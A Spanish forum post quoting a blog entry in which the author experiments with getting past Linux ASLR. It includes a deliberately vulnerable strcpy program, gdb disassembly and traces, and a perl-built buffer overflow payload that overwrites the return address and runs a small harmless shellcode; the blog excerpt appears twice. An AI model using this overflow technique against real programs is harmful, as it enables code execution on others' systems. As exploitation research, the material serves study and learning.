La cosa es que las variables de entorno (situadas en la pila) cambian de posición, pero las variables locales (también alojadas en pila) no cambian. Así de sencillamente he redactado esto para mi blog:
Citar
Bueno, estoy liado atacando la protección ASLR de los sistemas linux. Más que saltármela, estoy buscando una forma de conseguir evitarla con un 100% de posibilidades de acierto, como son necesarias a la hora de realizar un ataque remoto (porque es muy fácil producir un DoS, lo difícil es conseguir una shell en condiciones...). Así que, con el mismo código que el paper:
___________ code.c ___________
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int func (char *argv [])
{ char buffer [40];
strcpy (buffer, argv [1]);
printf ("%s\n", buffer);
return 0;
}
int main (int argc, char *argv [])
{ func (argv); return 0; }
______________________________
La idea es conseguir sobreescribir la dirección de retorno de la función func () y llevar la ejecución del programa a nuesta shellcode. En esta situación es fácil saber qué tipo de buffer debes utilizar, lo difícil es saber dónde alojar nuestra shellcode. Probando con las opciones tradicionales, vemos que tanto las direcciones de entorno. Sin embargo... wait! ¡Las de pila no cambian!
__________ Prueba 1 __________
[sagrini@sagrini src]$ cat /proc/sys/kernel/randomize_va_space
2
[sagrini@sagrini src]$ ./getenvaddr HOME code
HOME will be at 0xbfcd2dfd
[sagrini@sagrini src]$ ./getenvaddr HOME code
HOME will be at 0xbf903dfd
[sagrini@sagrini src]$ gdb -q code
Reading symbols from /home/sagrini/src/code...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x8048446
(gdb) r AAAA
Starting program: /home/sagrini/src/code AAAA
Breakpoint 1, 0x08048446 in main ()
(gdb) x/x $esp
0xbffff988: 0x00000000
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sagrini/src/code AAAA
Breakpoint 1, 0x08048446 in main ()
(gdb) x/x $esp
0xbffff988: 0x00000000
(gdb) q
A debugging session is active.
Inferior 1 [process 6496] will be killed.
Quit anyway? (y or n) y
[sagrini@sagrini src]$
______________________________
Esto es un contra-sentido ya que las variables de entorno (como $HOME) se guardan en la pila, pero habrá que probar:
__________ Prueba 2 __________
[sagrini@sagrini src]$ gdb -q code
Reading symbols from /home/sagrini/src/code...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048443 <+0>: push ebp
0x08048444 <+1>: mov ebp,esp
0x08048446 <+3>: and esp,0xfffffff0
0x08048449 <+6>: sub esp,0x10
0x0804844c <+9>: mov eax,DWORD PTR [ebp+0xc]
0x0804844f <+12>: mov DWORD PTR [esp],eax
0x08048452 <+15>: call 0x8048414 <func>
0x08048457 <+20>: mov eax,0x0
0x0804845c <+25>: leave
0x0804845d <+26>: ret
End of assembler dump.
(gdb) disass func
Dump of assembler code for function func:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x48
0x0804841a <+6>: mov eax,DWORD PTR [ebp+0x8]
0x0804841d <+9>: add eax,0x4
0x08048420 <+12>: mov eax,DWORD PTR [eax]
0x08048422 <+14>: mov DWORD PTR [esp+0x4],eax
0x08048426 <+18>: lea eax,[ebp-0x30]
0x08048429 <+21>: mov DWORD PTR [esp],eax
0x0804842c <+24>: call 0x8048320 <strcpy@plt>
0x08048431 <+29>: lea eax,[ebp-0x30]
0x08048434 <+32>: mov DWORD PTR [esp],eax
0x08048437 <+35>: call 0x8048330 <puts@plt>
0x0804843c <+40>: mov eax,0x0
0x08048441 <+45>: leave
0x08048442 <+46>: ret
End of assembler dump.
(gdb) br *0x08048431
Breakpoint 1 at 0x8048431
(gdb) br *0x08048442
Breakpoint 2 at 0x8048442
(gdb) r $(perl -e 'print "A"x52 . "BBBB" . "C"x7')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sagrini/src/code $(perl -e 'print "A"x52 . "BBBB" . "C"x7')
Breakpoint 1, 0x08048431 in func ()
(gdb) x/x $esp
0xbffff8e0: 0xbffff8f8
(gdb) x/x $ebp-0x30
0xbffff8f8: 0x41414141
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCC
Breakpoint 2, 0x08048442 in func ()
(gdb) x/x $esp
0xbffff92c: 0x42424242
(gdb) x/x $esp+4
0xbffff930: 0x43434343
(gdb) r $(perl -e 'print "A"x52 . "\x30\xf9\xff\xbf" . "\x31\xc0\x40\x89\xc3\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sagrini/src/code $(perl -e 'print "A"x52 . "\x30\xf9\xff\xbf" . "\x31\xc0\x40\x89\xc3\xcd\x80"')
Breakpoint 1, 0x08048431 in func ()
(gdb) x/x $esp
0xbffff8e0: 0xbffff8f8
(gdb) x/x $ebp-0x30
0xbffff8f8: 0x41414141
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���1�@��̀
Breakpoint 2, 0x08048442 in func ()
(gdb) x/x $esp
0xbffff92c: 0xbffff930
(gdb) x/x $esp+0x4
0xbffff930: 0x8940c031
(gdb) c
Continuing.
[Inferior 1 (process 6667) exited with code 01]
(gdb)
______________________________
Increíble. Las variables de entorno se guardan en la pila, y su posición varía, mientras que las variables locales, que también están en la pila, no varían su posición. Seguramente será problema de GCC Seguiré investigando...
¡Nos vemos! Sagrini
Os resumo: Corro una utilidad escrita por Jon Erickson, y a cada ejecución la posición de la variable $HOME cambia, mientras que puedo explotar la vulnerabilidad tan ricamente haciendo correr mi shellcode (7 bytes, es un "return 1;"). Os dejo algunos datos de mi SO:___________ code.c ___________
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int func (char *argv [])
{ char buffer [40];
strcpy (buffer, argv [1]);
printf ("%s\n", buffer);
return 0;
}
int main (int argc, char *argv [])
{ func (argv); return 0; }
______________________________
La idea es conseguir sobreescribir la dirección de retorno de la función func () y llevar la ejecución del programa a nuesta shellcode. En esta situación es fácil saber qué tipo de buffer debes utilizar, lo difícil es saber dónde alojar nuestra shellcode. Probando con las opciones tradicionales, vemos que tanto las direcciones de entorno. Sin embargo... wait! ¡Las de pila no cambian!
__________ Prueba 1 __________
[sagrini@sagrini src]$ cat /proc/sys/kernel/randomize_va_space
2
[sagrini@sagrini src]$ ./getenvaddr HOME code
HOME will be at 0xbfcd2dfd
[sagrini@sagrini src]$ ./getenvaddr HOME code
HOME will be at 0xbf903dfd
[sagrini@sagrini src]$ gdb -q code
Reading symbols from /home/sagrini/src/code...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x8048446
(gdb) r AAAA
Starting program: /home/sagrini/src/code AAAA
Breakpoint 1, 0x08048446 in main ()
(gdb) x/x $esp
0xbffff988: 0x00000000
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sagrini/src/code AAAA
Breakpoint 1, 0x08048446 in main ()
(gdb) x/x $esp
0xbffff988: 0x00000000
(gdb) q
A debugging session is active.
Inferior 1 [process 6496] will be killed.
Quit anyway? (y or n) y
[sagrini@sagrini src]$
______________________________
Esto es un contra-sentido ya que las variables de entorno (como $HOME) se guardan en la pila, pero habrá que probar:
__________ Prueba 2 __________
[sagrini@sagrini src]$ gdb -q code
Reading symbols from /home/sagrini/src/code...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048443 <+0>: push ebp
0x08048444 <+1>: mov ebp,esp
0x08048446 <+3>: and esp,0xfffffff0
0x08048449 <+6>: sub esp,0x10
0x0804844c <+9>: mov eax,DWORD PTR [ebp+0xc]
0x0804844f <+12>: mov DWORD PTR [esp],eax
0x08048452 <+15>: call 0x8048414 <func>
0x08048457 <+20>: mov eax,0x0
0x0804845c <+25>: leave
0x0804845d <+26>: ret
End of assembler dump.
(gdb) disass func
Dump of assembler code for function func:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x48
0x0804841a <+6>: mov eax,DWORD PTR [ebp+0x8]
0x0804841d <+9>: add eax,0x4
0x08048420 <+12>: mov eax,DWORD PTR [eax]
0x08048422 <+14>: mov DWORD PTR [esp+0x4],eax
0x08048426 <+18>: lea eax,[ebp-0x30]
0x08048429 <+21>: mov DWORD PTR [esp],eax
0x0804842c <+24>: call 0x8048320 <strcpy@plt>
0x08048431 <+29>: lea eax,[ebp-0x30]
0x08048434 <+32>: mov DWORD PTR [esp],eax
0x08048437 <+35>: call 0x8048330 <puts@plt>
0x0804843c <+40>: mov eax,0x0
0x08048441 <+45>: leave
0x08048442 <+46>: ret
End of assembler dump.
(gdb) br *0x08048431
Breakpoint 1 at 0x8048431
(gdb) br *0x08048442
Breakpoint 2 at 0x8048442
(gdb) r $(perl -e 'print "A"x52 . "BBBB" . "C"x7')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sagrini/src/code $(perl -e 'print "A"x52 . "BBBB" . "C"x7')
Breakpoint 1, 0x08048431 in func ()
(gdb) x/x $esp
0xbffff8e0: 0xbffff8f8
(gdb) x/x $ebp-0x30
0xbffff8f8: 0x41414141
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCC
Breakpoint 2, 0x08048442 in func ()
(gdb) x/x $esp
0xbffff92c: 0x42424242
(gdb) x/x $esp+4
0xbffff930: 0x43434343
(gdb) r $(perl -e 'print "A"x52 . "\x30\xf9\xff\xbf" . "\x31\xc0\x40\x89\xc3\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sagrini/src/code $(perl -e 'print "A"x52 . "\x30\xf9\xff\xbf" . "\x31\xc0\x40\x89\xc3\xcd\x80"')
Breakpoint 1, 0x08048431 in func ()
(gdb) x/x $esp
0xbffff8e0: 0xbffff8f8
(gdb) x/x $ebp-0x30
0xbffff8f8: 0x41414141
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���1�@��̀
Breakpoint 2, 0x08048442 in func ()
(gdb) x/x $esp
0xbffff92c: 0xbffff930
(gdb) x/x $esp+0x4
0xbffff930: 0x8940c031
(gdb) c
Continuing.
[Inferior 1 (process 6667) exited with code 01]
(gdb)
______________________________
Increíble. Las variables de entorno se guardan en la pila, y su posición varía, mientras que las variables locales, que también están en la pila, no varían su posición. Seguramente será problema de GCC Seguiré investigando...
¡Nos vemos! Sagrini
Código:
[root@sagrini /]# uname -a
Linux sagrini 3.2.7-1-ARCH #1 SMP PREEMPT Tue Feb 21 16:59:04 UTC 2012 i686 Intel(R) Atom(TM) CPU N455 @ 1.66GHz GenuineIntel GNU/Linux
[root@sagrini /]# gcc -v
Usando especificaciones internas.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/i686-pc-linux-gnu/4.6.2/lto-wrapper
Objetivo: i686-pc-linux-gnu
Configurado con: /build/src/gcc-4.6-20120120/configure --prefix=/usr --libdir=/usr/lib --libexecdir=/usr/lib --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=https://bugs.archlinux.org/ --enable-languages=c,c++,ada,fortran,go,lto,objc,obj-c++ --enable-shared --enable-threads=posix --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-clocale=gnu --disable-libstdcxx-pch --enable-libstdcxx-time --enable-gnu-unique-object --enable-linker-build-id --with-ppl --enable-cloog-backend=isl --enable-lto --enable-gold --enable-ld=default --enable-plugin --with-plugin-ld=ld.gold --disable-multilib --disable-libssp --enable-checking=release
Modelo de hilos: posix
gcc versión 4.6.2 20120120 (prerelease) (GCC)
[root@sagrini /]# cat /proc/sys/kernel/randomize_va_space
2
[root@sagrini /]#